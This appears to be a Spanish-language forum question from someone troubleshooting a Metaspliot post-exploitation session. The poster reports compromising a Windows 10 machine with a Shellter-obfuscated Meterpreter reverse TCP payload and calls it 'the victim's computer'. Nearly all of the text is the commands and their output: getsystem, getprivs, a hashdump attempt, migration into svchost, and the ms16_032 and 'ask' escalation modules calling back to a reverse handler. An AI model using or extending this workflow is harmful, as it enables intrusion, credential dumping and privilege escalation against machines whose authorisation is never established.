Estoy enfrentando un problema muy extraño. He abierto una caja con éxito usando Shellter con Meterpreter_Reverse TCP.
Aquí está el sysinfo:
meterpreter > sysinfo
Computer : ********
OS : Windows 10 (Build 14393).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 4
Meterpreter : x64/windows
Ahora lo extraño es cuando escribo:
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
Dice que obtuve la Autoridad NT, sin embargo, cuando escribo:
meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
SeAssignPrimaryTokenPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeSystemProfilePrivilege
SeTcbPrivilege
Estos son solo los privilegios que obtengo. No todo. Si intento usar hashdump:
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
Además, ya he migrado a otro proceso de autoridad NT, en este caso (svchost.exe)
Si intento ejecutar un exploit local en segundo plano, dice que el sistema ya está elevado.
msf exploit(ms16_032_secondary_logon_handle_privesc) > run
[*] Started reverse TCP handler on 192.168.0.100:4444
[-] Exploit aborted due to failure: none: Session is already elevated
Además, si trato de usar el exploit "ASK" para obtener privilegios, esto es lo que sucede:
msf exploit(ask) > run
[*] Started reverse TCP handler on 192.168.0.100:4444
[+] UAC is not enabled, no prompt for the user
[*] Uploading eobKMikmOsnWp.exe - 73802 bytes to the filesystem...
[*] Executing Command!
Y simplemente se congela, y no se da ningún aviso en la computadora de las víctimas.
También cualquier comando que intento ejecutar, simplemente me da un error que indica que no tengo acceso:
meterpreter > kill 7744
Killing: 7744
[-] stdapi_sys_process_kill: Operation failed: Access is denied.
¿Estoy totalmente perdido para entender qué está sucediendo exactamente aquí? Dice que he ganado el acceso al sistema, pero ¿aún no puedo hacer nada?
¿Por qué?
Cualquier ayuda sería apreciada.